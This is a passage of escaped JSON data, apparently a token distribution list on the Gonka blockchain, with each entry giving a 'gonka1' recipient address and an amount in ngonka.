\"198376817068\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13dyaa9jucv4r06a5nf2nsz27mwdr0ttfpzxx3f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"194440591844\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1my88wstqm2e795srgpxzat60z5hy0p7a85ytpk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"192759389776\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15e2swr409v3c4ydpq9ahsn3zuqxyj47axn3lf0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"192684097628\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pucvx8mx0nux5gcd2wgfyg9mwkaaqaqplw674l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"188014787856\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gt0406jz45mjt0jujqtfd3m9lcyah93t0wj084\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"184115258724\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k53k8vfzg4vg88vp9anh84ykzwdw4nzqppll97\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"181381921472\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14vp3katk6685avqjxhwrn6cckrpgjrf5vjz8jm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"176880182563\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"175555534697\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cpm8uguw5f3vyl3gz7537e3mln47uyzyld57g3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"175238478624\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15mh2v944wxk3phxfkegglpgfpq9mjcm6vmpyng\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"172060368100\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10thh6z0wvq9c05j4z3f9qtpxxedruqn5ae350k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"171896958330\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ch7hgwuc2ld0fvp305fkqn2ff38qek8cyls4ww\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"171757160407\"\n }\n ]\n },\n {\n \"recipient\": \"gonka139l5ttdauzdt8hfd43yfrwv97df547spjslnpe\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"171401905152\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13nuzs6xh6rygx7w3vhtfgadt4vvn0lgfmyd4pt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"171010486577\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xjdmt0s2dy5juxh0uhct3lye94xdmf4ku528sh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"170817573835\"\n }\n ]\n },\n {\n \"recipient\": \"gonka145qtr0h90fvz88klshvl4r4htw4thdgcvpey3g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"170468417948\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12s6rzcvuq4mc3rl6dm9n3j609vm3pp39vwhuk6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"168900273074\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15ekp90x056vsuw37za6vt9p54r6kr7pr76hyyd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"168502394988\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nykx6u9qklnq7nkqm0px2nwthu4hzfkhejcrze\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"166874432859\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zaup3ecnckjvmyqfnfdjj6jn3hsazqt3zjsexv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"166331047284\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cckj93kp9kegry64scpn4ew9965g3qrswyshl9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"165813241052\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dtnru3j85vee0vm20vkvd256nfd9t7jzuvnd27\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"165570544195\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18n9rq8q9gq0guvrm2mzk7hd2hvtf6cf6k6ul44\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"164645713730\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uwf8ce2knja6az8x6l2fawxh0yx0pz68n7pk7c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"161957022779\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aumu6ctfvp6hdccmcvrhrz8ete926zleyhacr5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"161849926896\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hhtht6rssq5hy22r7kyrrtkglvslxtkqt5yau8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"160968782293\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fh58x94xd6rdqz599svj9ftdt9rckg6ggxvn3p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"159981237348\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18jmc50as0esg8sf4ylkxhxftvwe2xm4fvw87s7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"158802073834\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kysyccuws3hl7ul2e9kfftanevvsskf5jtjfr2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"158644782785\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n57qkc9umnqu4whuy7rse9gx09f9m470wq9f2u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"158346504252\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19kue8dlczfr0vl94tta3l9k5s08hwuu0zd5ewv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"157578607135\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1730jjs2rhajxp434m6syr4uwemqfw3d9dkdvje\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"157245995276\"\n }\n ]\n },\n {\n \"recipient\": \"gonka172eahn496yyps4fap74fv4y843n4ghl43atmkk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"156516180131\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cm5hykwz4vygmmvv6uf3jhxtg2dnt56799p3d7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"156182631825\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dutrpxzkvnjqt75yqwlszkeegujsuprdu9vr8g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"155651458202\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kpj3zlnu9cj94nyraaxk4jcmqddvhnxzacjmg9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"154202832584\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18fgyw8c7deqkk4zq8n9efgrwjjypdrd7cskv48\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"154076603835\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w0fj4kscwkru05vgq4pk3xwdf6dq63emw7etw6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"153903941571\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yysfdney9ayqhgd8e03zdkhqte3pr09zzevdrq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"153058195413\"\n }\n ]\n },\n {\n \"recipient\": \"gonka183y38fjefqfgxafe05fw24rjtj4elzy84wxwdl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"152807764227\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e2wq9deve5zk6znff34c0x9xdklt0qs6u43x4x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"152046448413\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h60zhqxm8c40aupf2fwjd8uxlzsle9n55jmzn2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"151958899171\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1az2ancd696ewym33xvskz0pznqxdv6ya2ljy84\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"151932993107\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f9w9z55f4spuhwus5ksc86ynd9t4fxyphlkkvf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"151779181849\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10rvvl89yply8d5rks5k0674fadat45e3gvtau5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"150902484619\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10jrlgh9yege62d3wnytkgamdgjyqs9xpjxm32n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"149737865560\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ev28hzcw4tduvnuk0avlckq33cusgf3n3gr76k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"147757474732\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h4e7j4h5jy8dac8sjqke2pckvv6eva5ec2v0jv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"146849951021\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19ne8zk9j5xk50zvwcpwyeyl2wn72xmwkfycnse\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"145209327994\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13e5a0f67nzmvcdt27c083np9wlmqz2sjexnh4g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"144573220781\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17339jstnve8h7mzms493x9twwznadymtvj7vjt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"143413498930\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ut2pkphww74zzeyadhs7u7s6k9rrcmfrnzd6y6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"142805232382\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vtz94uthrqn93rcf2yn4hpuj2q6pqkhh632j6s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"142284804161\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15natyl5kwtzta9lr0xeqmew3j5thza2lslvw4x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"140802844450\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hk6css6jcxwcjnft04fwmnww67u8kuw0865gv3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"139111306692\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12c8m72s7g8mudeaa440tpkafs973vjhllv3fuc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"138036035184\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dc2utw2lm4ucr8q7r6wthglfsrck49z7rqdv2f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"137272425110\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r9zaxcvn5rysp09hrlla6k8ltssuhtpl07wtqu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"137067051773\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lzxwqhc5fqwltg57emk2lprd7qzmapp22mv0h7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"136134900662\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y9vw8ejeknw5h5n0tunzxffjh33rdn5tddhaud\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"136074117621\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w0tk2ghwtgd9l4xakrgvrugcc9rptwpg2z33a2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"135421921802\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17h7crvknkw8er5cuc43dgdp8eh974s5hahauuq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"134798235437\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19zywrpdzxws82hpqsw2addmlkwkfwwcm805djx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"134784519739\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12wcc34cfzmqu57w96squwnmp9yw32j04s9hss3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"134398933707\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k7u2vdwaljgcvhkn8nftxq3ffj6zzq09cw0shq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"134388658518\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1um9kz95phrhe439rent9q9ld3huvdcy5jf6t0x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"133426507127\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13r5m25jc0q69d9mjzhjfdzdu3t24n5te793l4x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"133343103856\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15z2fxrrxx7cwk4j7vp98rat7ajfpjxrqevyp0s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"132724968024\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14wp5g2auyarncnwk6ufl8stmyrlgzx0l0d3f80\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"132673212651\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1maujm456qnv250gfydngd8dhf7yh356ca3h5pv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"132364393420\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15s3uh8xyla66mx86hknjs6rrq740e5dtc6guga\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"132038508775\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pzdzdgd3auppy7x8a73suxaucgjcutfevrwzjp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"131528255395\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1laltt78qucmexcplsm9t99un7h2329vmdhrc62\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"131494563463\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ctgxkaut4gdsj5rv3eru275df0t606jav0exfd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"131210890946\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rpedugp4rhy989wfg8tr5ux7k6d4fhkjlqk234\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"131165213697\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z9wz95l4eu2ltwvavy4m7w5qjvyac3ktt5zhs2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"130951300105\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18cy6n7f3ceu97uxe5xqtr0ndww55wmmahg330r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"130759784369\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d5v93rmxuramndpmcsxvum6e5snznkw90nedha\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"130371958274\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qpz3622ewmu42cu0l9gelga7wyet57m4pllwc9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"130192901188\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rk43zfsxe7tefa88qh3t7wl3dvjwn3hq22njc4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129962381233\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nlp2g4ze3799z6xqvsjqqkqn746mtjs7t6v7kc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129920348863\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1270mrwh27pgnrtmmsmyy5rsq2h8ug6l4zvg4cu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129781359391\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cjvdez8e6mwjxg0e3g7rrds9ezm9c7kemlu3g7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129659729868\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16de96xdt4dqfjslenvu6pwd9y96n5scqqq9sy9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129484936698\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10fvaz7sgva6563fkcp9wxlk5hz7gj8fmu0w699\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129266291194\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pmxhj3vqv0uq5l4nvdeky4lpjyryw3fg24ste8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"127476065003\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16324l7r5jllqjm7e5wlf2h44cr3dsmjj8a6py7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"127316042720\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17w5kpa57jtqnqy7wdp5d03jkjmk0vjwdpp5xmg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"127306159205\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fwjwxw6cvspwautdrhr2jf4mfayy074t5npwnx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"126899324556\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f4mcr5pzn9rtdyzdv9dfg4x47vrqxk0f2ujqs7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"126046910212\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ky9mpdps70l9fe59dg7a7ctnaunkuuc8uet8q2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"126035998095\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z6va0ch94wqltysk7hc6zd6qjp0wddayrw2hua\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"124756655528\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qu9mna5xlvlnw9455ygtjq92wuzkzm237w8l08\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"124587196777\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ays6epuyqejjj0fxgj9lx9mxv42q3ac64y28sp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"124090764074\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16sfwtnse80aleg7sgmumnu3qxhtf93mf86479a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"124064035159\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wdcy2gdq7kfj9e0y3g0gtjl2cjdtqep3s8r5dk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"123629210589\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w5vse5uanra5uvkgzwf6mx2ltrev0tvpnx72g3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"123282336551\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qlwcwa7nppc0ng5qccwm3g0t0knkf5nmr036vc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"123151176825\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rt963v04mgt43ju2smuakde99pv7wscy5yxnte\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"123101315702\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jcxsgcnctv69xd9v35qy45m45pg3wwhn0f8pl2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"122771515329\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10arv470cmu80mlz3wtrkk0xt93lxy62mqzyfdf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"122241510732\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15y9q9je0hs0uhq39v37g9yprhxhj8rqu5cqc58\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"121891963143\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15phrun9xzcm2f9vz7lfef9yj26xjhte9jl2jvc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"121106135330\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pjpkm3plwgr3h7jemjxtvfeqypnzemussthdvz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"120561777639\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1guvvfsnjfxa573k5f8tc0wam0h4hhcfldlyky5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"119869867063\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13u2c48f45umqvmdpfrfxdt9xcu8erd044wpwdg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"119768896713\"\n }\n ]\n },\n {\n \"recipient\": \"gonka123fment8nj6mrekwv9rh5zmevxjd7t05c8azrd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"119320259600\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1snurcwfvugkldrtr8pmdnpaugf9khcp073sfzz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"118967130447\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fs4fapsf05qf3992m92ac3cl38uzh56vev4806\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"118301931963\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rre47ll99hmea7eselqcmmnh5xncqyx0jlvylh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"116853501225\"\n }\n ]\n },\n {\n \"recipient\": \"gonka103tuctlftrr5zzc2vgmu86vw4u6pus9wxnm8a4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"115732147820\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lm0jdqg6v2m5hekyh7ul039sqnlhjc8qw50yq4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"115440034138\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1895n7u9np4s675vhksellqkpkqxk5xkv4upaxr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"115354023876\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vrrsqx454f04dmadju83dps8742lh0klrjq05n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"114565133254\"\n }\n ]\n },\n {\n \"recipient\": \"gonka185kgdje9wjucxtkdu0nqhpqlwxutc5kc7nss8u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"114359358092\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hdm8wlf8e07e692ezay5g8qyemks4242g7kr9d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113839791894\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13kd0e5393704ummmwf7pqvphlm5qsqdpe3kal2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113627417363\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gd74wnjdp0sjxf5slgtwqx4t7pphvwl9qak360\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113514953117\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14mn57n7sq2mcf5mm2399fmqrgujwgxlec970ar\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"111531052020\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jfr0hq4k5lfzu7h2qsvh8dppard9t7lndsrngp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"108753172219\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jcut7ms9l432y90exzpfz5835p04lrzpndtdfl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"108690771987\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13mehzn6a86z7mkf0fcked5y2644r7hnq2txxpa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"106795222668\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q35556zp34twsnaa4uk6300zjcn3f6ucpawtf2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"106715637183\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hzcmnax508hhtudrxpk52djg9nkl5cpxflz2uk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"106522545672\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19rd75sm0zeh2cmnepmg79ffn00jtpsdw2zj495\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104746067502\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rrmf3s6m7rh3plqn0xam5c38xsl9wwvrtjzr48\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104693626058\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r4vqtz3mhhxzk83693xy8lt3rey5u9l7w809jd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104509634423\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mjtqjukfgjlzg82tz3s4pwna06kan7zmhysfqd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104122884934\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17d3y8a0meyn4ql7a9rk5c24dlx0kke0lvt9ndz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104058765553\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ppvjh3l2q0rrz7hz86uaywzzn44edqqcwstplg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"103288987878\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pd4qf3clxgtc4nu5q0nltwugc49ukl2laep5xx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"103143431572\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12p5ausvgfg5m9d8t47pvm4j7wd0vzfflv7s88n\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"103118913038\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1td0msg9jesqsk8k3wnu32zpg9femfgtaazmt23\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"103108880731\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dzk7rawvnkfwfptkzhdf7dh5s4xsqfml72tmcy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101825659644\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12634qjw29fmhf3yw7rlcgf8mldl56r2ufqk8rc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101800864877\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jpr8eqt329k8en46lldxr8hlkmqeaugnhl5yf6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101610655231\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wpz5sgkjwhkh9py26rp3zlefgc9sc673gkncmk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101335290873\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dyhqew6q9xfxx5taqu3purr9nd3e43h5lznqd3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101007211526\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v0td7x4ndxhveg50vzp6nkz4s25qy2wpvrxm32\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100348368672\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12sjs2wwerzfp25y2w9cqpwk9r8z4uddmlt5spw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100065871270\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jawqmq4lmu8fadddrt0mejfxu5lkrdc02fwuzm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"99394771511\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fyu654mhgdq2fwns2mupuzdtzxjy3k7jwew4rl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"99363059061\"\n }\n ]\n },\n 